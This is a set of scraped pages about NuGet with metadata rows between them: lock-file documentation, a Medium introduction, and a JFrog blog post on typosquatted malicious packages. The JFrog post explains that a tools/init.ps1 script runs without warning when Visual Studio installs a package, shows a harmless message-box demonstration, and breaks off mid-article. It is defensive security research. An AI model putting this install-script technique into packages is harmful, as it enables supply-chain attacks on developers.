This feature is available with NuGet 4.9 or above and with Visual Studio 2017 15.9 or above.
Input to NuGet restore is a set of PackageReference items from the project file (top-level or direct dependencies) and the output is a full closure of all the package dependencies including transitive dependencies. NuGet tries to always produce the same full closure of package dependencies if the input PackageReference list has not changed. However, there are some scenarios where it is unable to do so. For example:
When you use floating versions like <PackageReference Include="My.Sample.Lib" Version="4.*"/>. While the intention here is to float to the latest version on every restore of packages, there are scenarios where users require the graph to be locked to a certain latest version and float to a later version, if available, upon an explicit gesture.
A newer version of the package matching PackageReference version requirements is published. E.g.
Day 1: if you specified <PackageReference Include="My.Sample.Lib" Version="4.0.0"/> but the versions available on the NuGet repositories were 4.1.0, 4.2.0 and 4.3.0. In this case, NuGet would have resolved to 4.1.0 (nearest minimum version)
Day 2: Version 4.0.0 gets published. NuGet will now find the exact match and start resolving to 4.0.0
A given package version is removed from the repository. Though nuget.org does not allow package deletions, not all package repositories have this constraint. This results in NuGet finding the best match when it cannot resolve to the deleted version.
Enabling the lock file
In order to persist the full closure of package dependencies you can opt-in to the lock file feature by setting the MSBuild property RestorePackagesWithLockFile for your project:
<PropertyGroup> <!--- ... --> <RestorePackagesWithLockFile>true</RestorePackagesWithLockFile> <!--- ... --> </PropertyGroup>
If this property is set, NuGet restore will generate a lock file - packages.lock.json file at the project root directory that lists all the package dependencies.
restore behavior with lock file
If a lock file is present for project, NuGet uses this lock file to run restore. NuGet does a quick check to see if there were any changes in the package dependencies as mentioned in the project file (or dependent projects' files) and if there were no changes it just restores the packages mentioned in the lock file. There is no re-evaluation of package dependencies.
If NuGet detects a change in the defined dependencies as mentioned in the project file(s), it re-evaluates the package graph and updates the lock file to reflect the new package closure for the project.
For CI/CD and other scenarios, where you would not want to change the package dependencies on the fly, you can do so by setting the lockedmode to true:
For dotnet.exe, run:
> dotnet.exe restore --locked-mode
For msbuild.exe, run:
> msbuild.exe -t:restore -p:RestoreLockedMode=true
You may also set this conditional MSBuild property in your project file:
<PropertyGroup> <!--- ... --> <RestoreLockedMode>true</RestoreLockedMode> <!--- ... --> </PropertyGroup>
If locked mode is true, restore will either restore the exact packages as listed in the lock file or fail if you updated the defined package dependencies for the project after lock file was created.
Make lock file part of your source repository
If you are building an application, an executable and the project in question is at the start of the dependency chain then do check in the lock file to the source code repository so that NuGet can make use of it during restore.
However, if your project is a library project that you do not ship or a common code project on which other projects depend upon, you should not check in the lock file as part of your source code. There is no harm in keeping the lock file but the locked package dependencies for the common code project may not be used, as listed in the lock file, during the restore/build of a project that depends on this common-code project.
Eg.
ProjectA |------> PackageX 2.0.0 |------> ProjectB |------>PackageX 1.0.0
If ProjectA has a dependency on a PackageX version 2.0.0 and also references ProjectB that depends on PackageX version 1.0.0, then the lock file for ProjectB will list a dependency on PackageX version 1.0.0. However, when ProjectA is built, its lock file will contain a dependency on PackageX version 2.0.0 and not 1.0.0 as listed in the lock file for ProjectB. Thus, the lock file of a common code project has little say over the packages resolved for projects that depend on it.
Lock file extensibility
You can control various behaviors of restore with lock file as described below:
NuGet.exe option dotnet option MSBuild equivalent option Description -UseLockFile --use-lock-file RestorePackagesWithLockFile Opts into the usage of a lock file. -LockedMode --locked-mode RestoreLockedMode Enables locked mode for restore. This is useful in CI/CD scenarios where you want repeatable builds. -ForceEvaluate --force-evaluate RestoreForceEvaluate This option is useful with packages with floating version defined in the project. By default, NuGet restore will not update the package version automatically upon each restore unless you run restore with this option. -LockFilePath --lock-file-path NuGetLockFilePath Defines a custom lock file location for a project. By default, NuGet supports packages.lock.json at the root directory. If you have multiple projects in the same directory, NuGet supports project specific lock file packages.<project_name>.lock.json
AssetTargetFallback
The AssetTargetFallback property lets you specify additional compatible framework versions for projects that your project references and NuGet packages that your project consumes.
If you specify a package dependency using PackageReference but that package doesn't contain assets that are compatible with your projects's target framework, the AssetTargetFallback property comes into play. The compatibility of the referenced package is rechecked using each target framework that's specified in AssetTargetFallback. When a project or a package is referenced through AssetTargetFallback, the NU1701 warning will be raised.
Refer to the table below for examples of how AssetTargetFallback affects compatibility.
Project framework AssetTargetFallback Package frameworks Result .NET Framework 4.7.2 .NET Standard 2.0 .NET Standard 2.0 .NET Core App 3.1 .NET Standard 2.0, .NET Framework 4.7.2 .NET Standard 2.0 .NET Core App 3.1 .NET Framework 4.7.2 Incompatible, fail with NU1202 .NET Core App 3.1 net472;net471 .NET Framework 4.7.2 .NET Framework 4.7.2 with NU1701
Multiple frameworks can be specified using ; as a delimiter. To add a fallback framework you can do the following:
<AssetTargetFallback Condition=" '$(TargetFramework)'=='netcoreapp3.1' "> $(AssetTargetFallback);net472;net471 </AssetTargetFallback>
|
||||||
8582
|
dbpedia
|
3
| 15
|
https://burcakbas.medium.com/nuget-101-introduction-to-nuget-800c8fa86573
|
en
|
NuGet 101: Introduction to NuGet
|
[
"https://miro.medium.com/v2/resize:fill:64:64/1*dmbNkD5D-u45r44go_cf0g.png",
"https://miro.medium.com/v2/resize:fill:88:88/1*9t7wHN-_sWBf8svoqqsDyw@2x.jpeg",
"https://miro.medium.com/v2/resize:fill:144:144/1*9t7wHN-_sWBf8svoqqsDyw@2x.jpeg"
] |
[] |
[] |
[
""
] | null |
[
"Burç Akbaş",
"burcakbas.medium.com"
] |
2018-05-07T11:26:14.504000+00:00
|
NuGet is a free and open-source package manager designed for the Microsoft development platform (formerly known as NuPack)
|
en
|
https://miro.medium.com/v2/5d8de952517e8160e40ef9841c781cdc14a5db313057fa3c3de41c6f5b494b19
|
Medium
|
https://burcakbas.medium.com/nuget-101-introduction-to-nuget-800c8fa86573
|
Burç Akbaş
·
Follow
6 min read
·
May 7, 2018
--
What is NuGet ?
NuGet is a free and open-source package manager designed for the Microsoft development platform (formerly known as NuPack).[2][3] Since its introduction in 2010, NuGet has evolved into a larger ecosystem of tools and services.[4]
NuGet is distributed as a Visual Studio extension. Starting with Visual Studio 2012, NuGet comes pre-installed by default. NuGet is also integrated with SharpDevelop. NuGet can also be used from the command line and automated with scripts.
It supports multiple programming languages, including:
.NET Framework packages
Native packages written in C++,[5] with package creation aided by CoApp
Why to use?
An essential tool for any modern development platform is a mechanism through which developers can create, share, and consume useful code. Often such code is bundled into “packages” that contain compiled code (as DLLs) along with other content needed in the projects that consume these packages.
For .NET (including .NET Core), the Microsoft-supported mechanism for sharing code is NuGet, which defines how packages for .NET are created, hosted, and consumed, and provides the tools for each of those roles.
Put simply, a NuGet package is a single ZIP file with the .nupkg extension that contains compiled code (DLLs), other files related to that code, and a descriptive manifest that includes information like the package's version number. Developers with code to share create packages and publish them to a public or private host. Package consumers obtain those packages from suitable hosts, add them to their projects, and then call a package's functionality in their project code. NuGet itself then handles all of the intermediate details.
Because NuGet supports private hosts alongside the public nuget.org host, you can use NuGet packages to share code that’s exclusive to an organization or a work group. You can also use NuGet packages as a convenient way to factor your own code for use in nothing but your own projects. In short, a NuGet package is a shareable unit of code, but does not require nor imply any particular means of sharing.
Whatever its nature, a host serves as the point of connection between package creators and package consumers. Creators build useful NuGet packages and publish them to a host. Consumers then search for useful and compatible packages on accessible hosts, downloading and including those packages in their projects. Once installed in a project, the packages’ APIs are available to the rest of the project code.
NuGet tools
nuget.exe CLI: Provides all NuGet capabilities, with some commands applying specifically to package creators, some applying only to consumers, and others applying to both. For example, package creators use the nuget pack command to create a package from various assemblies and related files, package consumers use nuget install to include packages in a project folder, and everyone uses nuget config to set NuGet configuration variables. As a platform-agnostic tool, the NuGet CLI does not interact with Visual Studio projects.
dotnet CLI: Provides certain NuGet CLI capabilities directly within the .NET Core tool chain. As with the NuGet CLI, the dotnet CLI does not interact with Visual Studio projects.
Package Manager Console: Provides PowerShell commands for installing and managing packages in Visual Studio projects.
Package Manager UI: Provides an easy-to-use UI for installing and managing packages in Visual Studio projects.
Manage NuGet UI: Provide an easy-to-use UI for installing and managing packages in Visual Studio for Mac projects.
MSBuild: Provides the ability to create packages and restore packages used in a project directly through the MSBuild tool chain.
NuGet CLI
What is NuGet CLI? :
The NuGet Command Line Interface (CLI), nuget.exe, provides the full extent of NuGet functionality to install, create, publish, and manage packages without making any changes to project files.
To use any command, open a command window or bash shell, then run nuget followed by the command and appropriate options, such as nuget help pack (to view help on the pack command).
Installing nuget.exe
Windows
Visit nuget.org/downloads and select NuGet 3.3 or higher (2.8.6 is not compatible with Mono). The latest version is always recommended, and 4.1.0+ is required to publish packages to nuget.org.
Each download is the nuget.exe file directly. Instruct your browser to save the file to a folder of your choice. The file is not an installer; you won't see anything if you run it directly from the browser.
Add the folder where you placed nuget.exe to your PATH environment variable to use the CLI tool from anywhere.
macOS/Linux
Behaviors may vary slightly by OS distribution.
Install Mono 4.4.2 or later.
Execute the following commands at a shell prompt:
3. Create an alias by adding the following script to the appropriate file for your OS (typically ~/.bash_aliases or ~/.bash_profile):
4. Reload the shell. Test the installation by entering nuget with no parameters. NuGet CLI help should display.
Availability
See feature availability for exact details.
All commands are available on Windows.
All commands work with nuget.exe running on Mono except where indicated for pack, restore, and update.
The pack, restore, delete, locals, and push commands are also available on Mac and Linux through the dotnet CLI.
Common Commands
pack: Creates a NuGet package from a .nuspec or project file. When running on Mono, creating a package from a project file is not supported.
push: Publishes a package to a package source.
config: Gets or sets NuGet configuration values.
help or ?: Displays help information or help for a command.
locals: Lists locations of the global-packages, http-cache, and temp folders and clears the contents of those folders.
restore: Restores all packages referenced by the package management format in use. When running on Mono, restoring packages using the PackageReference format is not supported.
setapikey: Saves an API key for a given package source when that package source requires a key for access.
spec: Generates a .nuspec file, using tokens if generating the file from a Visual Studio project.
Command option names are case-insensitive. Options that are deprecated are not included in this reference, such as NoPrompt (replaced by NonInteractive) and Verbose (replaced by Verbosity).
dotnet CLI
The dotnet command-line interface, which runs on Windows, Mac OS X, and Linux, provides a number of essential nuget.exe commands as listed below. If dotnet satisfies your needs, it's not necessary to use nuget.exe.
For complete information on dotnet, see .NET Core command-line interface (CLI) tools.
Package consumption
dotnet add package: Adds a package reference to the project file, then runs dotnet restore to install the package.
dotnet remove package: Removes a package reference from the project file.
dotnet restore: Restores the dependencies and tools of a project. As of NuGet 4.0, this runs the same code as nuget restore.
dotnet nuget locals: Lists locations of the global-packages, http-cache, and temp folders and clears the contents of those folders.
Package creation
dotnet pack: Packs the code into a NuGet package. As of NuGet 4.0, this runs the same code as nuget pack.
dotnet nuget push: Pushes a package to a server and publishes it, applicable to nuget.org, Visual Studio Team Services, and third-party NuGet servers.
dotnet nuget delete: Deletes or unlists a package from a host, applicable to nuget.org, Visual Studio Team Services, and third-party NuGet servers.
Package targeting compatibility
A “compatible” package means that it contains assemblies built for at least one target .NET framework that’s compatible with the consuming project’s target framework. Developers can create packages that are specific to one framework, as with UWP controls, or they can support a wider range of targets. To maximize a package’s compatibility, developers target .NET Standard, which all .NET and .NET Core projects can consume. This is the most efficient means for both creators and consumers, as a single package (usually containing a single assembly) works for all consuming projects.
Package developers who require APIs outside of .NET Standard, on the other hand, create separate assemblies for the different target frameworks they want to support and include all of those assemblies in the same package (which is called “multi-targeting”). When a consumer installs such a package, NuGet extracts only those assemblies that are needed by the project. This minimizes the package’s footprint in the final application and/or assemblies produced by that project. A multi-targeting package is, of course, more difficult for its creator to maintain.
Targeting .NET Standard supercedes the previous approach of using various portable class library (PCL) targets. This documentation therefore focuses on creating packages for .NET Standard.
/cheers
[NEXT] → Building a private NuGet Server
NuGet 101: Building a private NuGetServer
Introduction
medium.com
References
https://docs.microsoft.com/en-us/nuget/what-is-nuget
https://en.wikipedia.org/wiki/NuGet
https://docs.microsoft.com/en-us/nuget/tools/nuget-exe-cli-reference
|
||||
8582
|
dbpedia
|
0
| 56
|
https://jfrog.com/blog/attackers-are-starting-to-target-net-developers-with-malicious-code-nuget-packages-2/
|
en
|
Attackers are starting to target .NET developers with malicious-code NuGet packages
|
[
"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2024/07/23170348/homepage-banner-desktop-bck.png",
"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2024/07/23170400/homepage-banner-mobile-bck.jpg",
"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2024/07/23170354/homepage-banner-desktop-txt.svg",
"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2024/07/23170357/homepage-banner-mobile-txt.svg",
"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2021/12/29113553/jfrog-logo-2022.svg",
"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2021/12/29113553/jfrog-logo-2022.svg",
"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2017/08/22132304/jfrog-artifactory.svg",
"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2017/08/22132304/jfrog-artifactory.svg",
"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2017/08/22132400/jfrog-pipeline.svg",
"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2017/08/22132400/jfrog-pipeline.svg",
"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2017/08/22132437/jfrog-distribution.svg",
"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2017/08/22132437/jfrog-distribution.svg",
"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2017/08/09231026/icon-jfrog-connect.svg",
"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2017/08/09231026/icon-jfrog-connect.svg",
"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2017/08/22132519/jfrog-curation.svg",
"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2017/08/22132519/jfrog-curation.svg",
"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2017/08/22132556/jfrog-xray.svg",
"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2017/08/22132556/jfrog-xray.svg",
"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2017/08/22132556/jfrog-xray.svg",
"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2017/08/22132556/jfrog-xray.svg",
"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2017/08/25152626/qwak-icon.svg",
"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2017/08/25152626/qwak-icon.svg",
"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2017/08/22132304/jfrog-artifactory.svg",
"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2017/08/22132304/jfrog-artifactory.svg",
"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2017/08/22132400/jfrog-pipeline.svg",
"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2017/08/22132400/jfrog-pipeline.svg",
"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2017/08/22132437/jfrog-distribution.svg",
"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2017/08/22132437/jfrog-distribution.svg",
"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2017/08/09231026/icon-jfrog-connect.svg",
"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2017/08/09231026/icon-jfrog-connect.svg",
"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2017/08/22132519/jfrog-curation.svg",
"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2017/08/22132519/jfrog-curation.svg",
"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2017/08/22132556/jfrog-xray.svg",
"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2017/08/22132556/jfrog-xray.svg",
"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2017/08/22132556/jfrog-xray.svg",
"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2017/08/22132556/jfrog-xray.svg",
"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2017/08/25152626/qwak-icon.svg",
"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2017/08/25152626/qwak-icon.svg",
"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2023/03/20141903/licious-Packages-863x300-1.png",
"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2023/03/20141903/licious-Packages-863x300-1.png",
"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2023/03/20142044/1_-Creating-a-solution-with-toolsinit_ps1-file-inside.png",
"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2023/03/20142044/1_-Creating-a-solution-with-toolsinit_ps1-file-inside.png",
"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2023/03/20142111/2_TestInstallScript_Lib.png",
"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2023/03/20142111/2_TestInstallScript_Lib.png",
"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2023/03/20142139/3_The-_nuspec-Metadata-File-no-mention-of-init_ps1.png",
"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2023/03/20142139/3_The-_nuspec-Metadata-File-no-mention-of-init_ps1.png",
"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2023/03/20142206/4_Malicious-package-Coinbase_Core_s-page.png",
"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2023/03/20142206/4_Malicious-package-Coinbase_Core_s-page.png",
"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2023/03/20142326/5_Legitimate-package-Coinbase_s-page.png",
"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2023/03/20142326/5_Legitimate-package-Coinbase_s-page.png",
"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2023/03/20142421/6_The-package-owner-names.png",
"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2023/03/20142421/6_The-package-owner-names.png",
"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2023/03/20142459/7_The-Author-field-is-indistinguishable-when-comparing-to-official-packages.png",
"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2023/03/20142459/7_The-Author-field-is-indistinguishable-when-comparing-to-official-packages.png",
"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2023/03/20142526/8_Azetap_API-package_s-author-defined-as-Microsoft-with-a-false-description-e1704813048873.png",
"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2023/03/20142526/8_Azetap_API-package_s-author-defined-as-Microsoft-with-a-false-description-e1704813048873.png",
"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2023/03/20142552/9_The-DiscordRichPresence-API-package-uses-a-malicious-dependency.png",
"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2023/03/20142552/9_The-DiscordRichPresence-API-package-uses-a-malicious-dependency.png",
"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2023/03/20142611/10_Avalon-Net-Core.png",
"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2023/03/20142611/10_Avalon-Net-Core.png",
"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2023/03/20142646/11_JoeI-Verhagen.png",
"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2023/03/20142646/11_JoeI-Verhagen.png",
"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2023/03/20142751/13_man-in-the-middle-attack.png",
"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2023/03/20142751/13_man-in-the-middle-attack.png",
"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2023/03/20142728/12_Impala-Payload.png",
"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2023/03/20142728/12_Impala-Payload.png",
"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2023/03/20163632/maxresdefault.jpg",
"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2023/03/20163632/maxresdefault.jpg",
"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2023/03/20142812/14_Z-EntityFramework-Classic.png",
"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2023/03/20142812/14_Z-EntityFramework-Classic.png",
"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2023/03/20142847/15_scripts-under-tools.png",
"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2023/03/20142847/15_scripts-under-tools.png",
"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2023/03/20142911/16_download-package.png",
"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2023/03/20142911/16_download-package.png",
"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2023/03/20142941/17_Newtonsoft-package-with-over-3-billion-downloads.png",
"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2023/03/20142941/17_Newtonsoft-package-with-over-3-billion-downloads.png",
"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2023/03/20160103/Detection-and-remediation-with-JFrog-Xray_CROP.png",
"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2023/03/20160103/Detection-and-remediation-with-JFrog-Xray_CROP.png",
"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2021/12/29113553/jfrog-logo-2022.svg",
"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2019/12/20130026/close.png",
"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2019/12/20130026/close.png",
"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2019/10/20130240/frog-hand-green.png",
"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2019/10/20130240/frog-hand-green.png",
"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2019/12/20130026/close.png",
"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2020/01/20125954/flag_us.png",
"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2020/01/20125954/flag_us.png",
"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2019/12/20130011/jfrog-logo.svg",
"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2019/12/20130011/jfrog-logo.svg",
"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2020/01/20125954/flag_chinese.png",
"https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/media.jfrog.com/wp-content/uploads/2020/01/20125954/flag_chinese.png"
] |
[] |
[] |
[
""
] | null |
[
"adia"
] |
2023-03-20T14:42:38+00:00
|
Update 2023-03-21 – We’ve talked with members of the NuGet team and they had already detected and removed the malicious packages in question. Malicious packages are often spread by the open source NPM and PyPI package repositories, with few other repositories affected. Specifically – there was no public evidence of severe malicious activity in the …
|
en
|
JFrog
|
https://jfrog.com/blog/attackers-are-starting-to-target-net-developers-with-malicious-code-nuget-packages-2/
|
Update 2023-03-21 – We’ve talked with members of the NuGet team and they had already detected and removed the malicious packages in question.
Malicious packages are often spread by the open source NPM and PyPI package repositories, with few other repositories affected. Specifically – there was no public evidence of severe malicious activity in the NuGet repository other than spam packages used for spreading phishing links. As with other repositories, the JFrog Security Research team regularly monitors the NuGet repository for malicious packages, including manual analysis of suspicious code.
With this in mind, the security research team recently identified a sophisticated and highly-malicious attack targeting .NET developers via the NuGet repository, using sophisticated typosquatting techniques. The discovered packages – which were downloaded 150K times over the past month (before they were removed from the NuGet repository) – contained a “download & execute” type of payload. The packages contained a PowerShell script that would execute upon installation and trigger a download of a “2nd stage” payload, which could be remotely executed. The 2nd stage payload is a custom, more sophisticated executable which will be briefly explained in this post, and will be thoroughly analyzed in our next blog post.
NuGet is still ripe for malicious package attacks
Despite the fact that the discovered malicious packages have since been removed from NuGet, .NET developers are still at high risk from malicious code, since NuGet packages still contain facilities to run code immediately upon package installation.
In old Visual Studio versions a developer could place a PowerShell script inside the tools directory of a NuGet package, and the script would automatically be run with no constraints on specific events – Package installation, uninstallation, on VS startup, etc.
Currently, it seems that Microsoft is pushing developers to leave this option behind, as the install.ps1 and uninstall.ps1 run-on-install scripts are ignored. In the current documentation, these scripts are not mentioned, except in some side notes.
However, although it is deprecated – the init.ps1 script is still honored by Visual Studio, and will run without any warning when installing a NuGet package (It is important to note the init script automatic execution won’t occur while using the NuGet CLI). Additionally, the script will re-run each time the project’s solution is opened with Package Manager Console window:
Creating a solution with tools/init.ps1 file inside
Inside the .ps1 file, an attacker can write arbitrary commands. For example:
& {[System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms'); [System.Windows.Forms.MessageBox]::Show('Hello From init','WARNING')}
After installing the package (without executing anything explicitly) we can see that the “malicious” command ran immediately – meaning the PowerShell script successfully executed without confirmation or warning.
